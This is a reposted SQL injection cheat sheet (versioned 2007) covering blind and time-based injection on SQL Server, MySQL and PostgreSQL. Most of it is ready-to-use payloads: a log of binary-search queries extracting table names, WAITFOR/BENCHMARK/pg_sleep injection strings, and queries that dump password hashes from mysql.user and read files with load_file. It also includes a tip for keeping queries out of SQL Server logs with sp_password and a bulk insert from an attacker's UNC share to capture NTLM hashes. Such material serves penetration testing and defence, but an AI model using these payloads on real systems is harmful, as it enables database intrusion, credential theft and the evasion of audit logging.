Detailed Article : Fast way to extract data from Error Based SQL Injections
Blind SQL Injections
About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also you can use fractions like this,

WAITFOR DELAY '0:0:0.51'
Real World Samples

* Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
* ProductID = 1;waitfor delay '0:0:10'--
* ProductID =1);waitfor delay '0:0:10'--
* ProductID =1';waitfor delay '0:0:10'--
* ProductID =1');waitfor delay '0:0:10'--
* ProductID =1));waitfor delay '0:0:10'--
* ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)
Real World Samples

* Are we root ? woot!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

* Check Table exist in MySQL
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

* SELECT pg_sleep(10);
Sleep 10 seconds.

Covering Tracks
SQL Server -sp_password log bypass (S)

SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

1. product.asp?id=4 (SMO)
1. product.asp?id=5-1
2. product.asp?id=4 OR 1=1

2. product.asp?name=Book
1. product.asp?name=Bo’%2b’ok
2. product.asp?name=Bo’ || ’ok (OM)
3. product.asp?name=Book’ OR ‘x’=’x

Some Extra MySQL Notes

* Sub Queries are working only MySQL 4.1+
* Users
o SELECT User,Password FROM mysql.user;
* SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
* SELECT ... INTO DUMPFILE
o Write query into a new file (can not modify existing files)
* UDF Function
o create function LockWorkStation returns integer soname 'user32';
o select LockWorkStation();
o create function ExitProcess returns integer soname 'kernel32';
o select exitprocess();
* SELECT USER();
* SELECT password,USER() FROM mysql.user;
* First byte of admin hash
o SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
* Read File
o query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
* MySQL Load Data inifile
o By default it’s not avaliable !
+ create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
* More Timing in MySQL
* select benchmark( 500000, sha1( 'test' ) );
* query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
* select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
Enumeration data, Guessed Brute Force
o select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

* MD5()
MD5 Hashing
* SHA1()
SHA1 Hashing

* PASSWORD()
* ENCODE()
* COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
* ROW_COUNT()
* SCHEMA()
* VERSION()
Same as @@version

Second Order SQL Injections

Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.
References

Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.

* Lots of Stuff
o Advanced SQL Injection In SQL Applications, Chris Anley
o More Advanced SQL Injection In SQL Applications, Chris Anley
o Blindfolded SQL Injection, Ofer Maor – Amichai Shulman
o Hackproofing MySQL, Chris Anley
o Database Hacker's Handbook, David Litchfield, Chris Anley, John Heasman, Bill Grindlay
o Upstairs Team!

* MSSQL Related
o MSSQL Operators - http://msdn2.microsoft.com/en-us/library/aa276846(SQL.80).aspx
o Transact-SQL Reference - http://msdn2.microsoft.com/en-us/library/aa299742(SQL.80).aspx
o String Functions (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms181984.aspx
o List of MSSQL Server Collation Names - http://msdn2.microsoft.com/en-us/library/ms180175.aspx
o MSSQL Server 2005 Login Information and some other functions : Sumit Siddharth

* MySQL Related
o Comments : http://dev.mysql.com/doc/
o Control Flows - http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html
o MySQL Gotchas - http://sql-info.de/mysql/gotchas.htm
o New SQL Injection Concept, Tonu Samuel

ChangeLog

* 15/03/2007 - Public Release v1.0
* 16/03/2007 - v1.1
o Links added for some paper and book references
o Collation sample added
o Some typos fixed
o Styles and Formatting improved
o New MySQL version and comment samples
o PostgreSQL Added to Ascii and legends, pg_sleep() added blind section
o Blind SQL Injection section and improvements, new samples
o Reference paper added for MySQL comments
* 21/03/2007 - v1.2
o BENCHMARK() sample changed to avoid people DoS their MySQL Servers
o More Formatting and Typo
o Descriptions for some MySQL Function
* 30/03/2007 v1.3
o Niko pointed out PotsgreSQL and PHP supports stacked queries
o Bypassing second MD5 check login screens description and attack added
o Mark came with extracting NTLM session idea, added
o Detailed Blind SQL Exploitation added
* 13/04/2007 v1.4 - Release
o SQL Server 2005 enabling xp_cmdshell added (trick learned from mark)
o Japanese version of SQL Injection Cheat Sheet released (v1.1)

=====================
thanks for y3dips as echo staff in echo.or.id

nb :
I take it from ferruh.mavituna.com

====================

Lanjut Broo......